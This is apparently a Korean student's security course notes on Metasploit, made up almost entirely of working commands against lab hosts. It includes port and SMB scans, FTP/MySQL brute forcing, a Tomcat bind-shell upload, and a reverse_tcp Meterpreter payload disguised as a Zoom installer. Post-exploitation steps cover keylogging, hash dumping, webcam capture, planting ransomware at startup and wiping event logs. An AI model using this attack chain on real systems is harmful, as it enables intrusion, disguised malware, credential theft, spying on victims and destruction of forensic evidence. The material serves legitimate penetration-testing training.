본문 바로가기
메가IT아카데미 국기과정/리눅스와 시스템보안

[3-5] Metasploit

by 한님폐하 2022. 9. 12.

1. Metasploit 주요 명령어

  • msfconsole : 메타스플로잇 실행 파일
  • msfdb : 메타스플로잇 DB 관리 실행 파일
  • msfvenom : 쉘 프롬프트에서 악성 코드를 제작할때 사용하는 실행 파일
  • msfupdate : 메타스플로잇 업데이트 실행 파일

 

2. 메타스플로잇 특징

2-1. 소스 코드는 Ruby 언어로 제작되어 있다.

cd /usr/share/metasploit-framework/modules/auxiliary/scanner/portscan

 

2-2. 아이디/패스워드를 크래킹할 수 있는 사전 대입 파일을 제공한다.

cat /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt

 

3. msf & postgresql 연동

  • 메타스플로잇은 postgresql DBMS와 연동하면 메타스플로잇 내에서 실행했던 내용들을 DB에 저장한다.
service postgresql start	# postgresql 시작 및 활성화
update-rc.d postgresql enable
service postgresql status
msfdb				# msfdb 초기화 및 시작
msfdb init			# msfdb reinit
msfdb start
msfconsole			# msfconsole 시작 및 DB 연동 확인
db_status
db_import /root/nmapscan/Results.xml	# 외부 nmap 스캔 파일 사용
db_nmap -sS -sV -O [타겟 IP]		# 'db_nmap' 스캔 및 정보 확인
hosts
services [타겟 IP]

 

 

4. 메타스플로잇을 이용한 스캔

  • Idle Scan
search ipid
use auxiliary/scanner/ip/ipidseq
show options
set interface eth1
set rhosts 192.168.20.0/24
set threads 16
exploit
db_nmap -Pn -sI [Spoofing IP] [타겟 IP] # '192.168.20.202' 주소를 스푸핑 주소로 설정

 

  • Port Scan
search portscan
use auxiliary/scanner/portscan/syn
show options
set interface eth1
set rhosts [타겟 IP]
set ports 1-1000
set threads 16
exploit

 

  • SMB Scan
search smb_version
use auxiliary/scanner/smb/smb_version
show options 
set rhosts 192.168.20.0/24
set threads 16
exploit

 

[참고] SMB 취약점(ms17_010) 시스템 스캔 : 'ms17_010_eternalblue'을 이용한 SMB 취약점 공격

search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
show options 
set rhosts 192.168.20.0/24
set threads 16
exploit

 

  • FTP Scan / MYSQL Scan
search ftp_version			# search mysql_version
use auxiliary/scanner/ftp/ftp_version	# use auxiliary/scanner/ftp/anonymous
show options 
set rhosts 192.168.20.0/24
set threads 16
exploit

 

[참고] 'ftp_login'('mysql_login')을 이용한 사전 대입 공격

search ftp_login			# search mysql_login
use auxiliary/scanner/ftp/ftp_login 
show options 
set rhosts [타겟 IP]
set user_file /root/wordlists/user.list
set pass_file /root/wordlists/pass.list
set stop_on_success true
exploit
unset user_file
unset pass_file
set userpass_file /root/wordlists/userpass.list
exploit

 

 

5. 'tikiwiki 1.9.5' 취약점을 이용한 MySQL ID/PW 크래킹 

  • tikiwiki195 데이터베이스 활성화
firefox http://[타겟 IP]/tikiwiki/tiki-index.php &

 

  • 'tikidblib'을 이용한 Mysql 관리자 아이디/패스워드 크랙킹
search tikiwiki
use auxiliary/admin/tikiwiki/tikidblib 
show options 
set rhost [타겟 IP]
exploit
mysql -h [타겟 IP] -u root -p

 

6. 'tomcat_mgr_deploy'를 이용한 악성 페이로드(java/shell/bind_tcp) 업로드

search tomcat_mgr_deploy		
use exploit/multi/http/tomcat_mgr_deploy
show options 
set httppassword tomcat
set httpusername tomcat
set rhost [타겟 IP]
set rport 8180
show payloads 
set payload java/shell/bind_tcp
exploit

 

[참고] Host 시스템과 VMware 시스템 공유 폴더 구성

  • 공격자는 바탕화면에 있는 'mount-shared-folders.sh' 아이콘을 실행한다.
  • 터미널 창에서 'ls /mnt/hgfs'를 실시하여 'vmshare' 디렉토리를 확인한다.
  • 타겟에서 컴퓨터 -> 좌측 네트워크 -> vmware-host -> Shared Folders -> 'vmshare' 폴더를 확인한다.

 

7. 'msfvenom' 명령어를 이용한 'Reverse_TCP' 페이로드 제작과 유포

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.20.50 lport=4444 -f exe -o ZoomInstallerFull.exe
cp ZoomInstallerFull.exe /mnt/hgfs/vmshare	# 실제 PC(Windows10)에서 'ResourceHacker'를 이용하여 'ZoomInstallerFull.exe' 파일에 실제 아이콘을 적용한다.

 

8. 'Reverse_TCP' 대기 상태 스크립트 파일 제작과 유포

cat << EOF > reverse.rc
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.20.50
set lport 4444
set exitsession false
exploit -j -z
EOF
msfconsole -q -r reverse.rc 
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost [공격자 IP]
set lport 4444
set exitsession false
exploit -j -z
netstat -nltp | grep 4444	# 다른 터미널 창에서 TCP 4444 대기 상태를 확인한다.

 

9. 'Meterpreter' 

sessions -i
sessions -i 1
sysinfo		# 타겟 시스템 정보 확인
getsystem	# 권한 상승
getpid		# Reverse_TCP 프로세스를 다른 프로세스로 이전
migrate [PID]
screenshot 	# 스크린샷
enumdesktops 	# 키보드 스니핑
setdesktop
getdesktop
keyscan_start
keyscan_dump
keyscan_stop
run hashdump	# 패스워드 크래킹
webcam_list	# 웹캠 해킹
webcam_snap
webcam_stream
shell		# 쉘 프롬프트 사용

 

[참고] 랜섬웨어 업로드

cd C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\"Start Menu"\\Programs\\Startup
upload /root/Ransomware/wanna_smile.exe

 

[참고] 타겟 시스템 로그 삭제

  • C:\Windows\System32\winevt\Logs
  • 윈도우 쉘 프롬프트로 진입하여 'wevtutil cl' 윈도우 명령어를 이용하여 로그 파일 내용을 초기화한다.
wevtutil cl "application"
wevtutil cl "security"
wevtutil cl "setup"
wevtutil cl "system"

 

 

 

 

 

 

 

 

 

'메가IT아카데미 국기과정 > 리눅스와 시스템보안' 카테고리의 다른 글

[3-7] BeEF  (0) 2022.09.12
[3-6] Setoolkit  (0) 2022.09.12
[3-4] Bash Shellshock 취약점  (0) 2022.09.12
[3-3] Nmap 스캔  (0) 2022.09.12
[3-2] SetUID 특수 권한  (0) 2022.09.12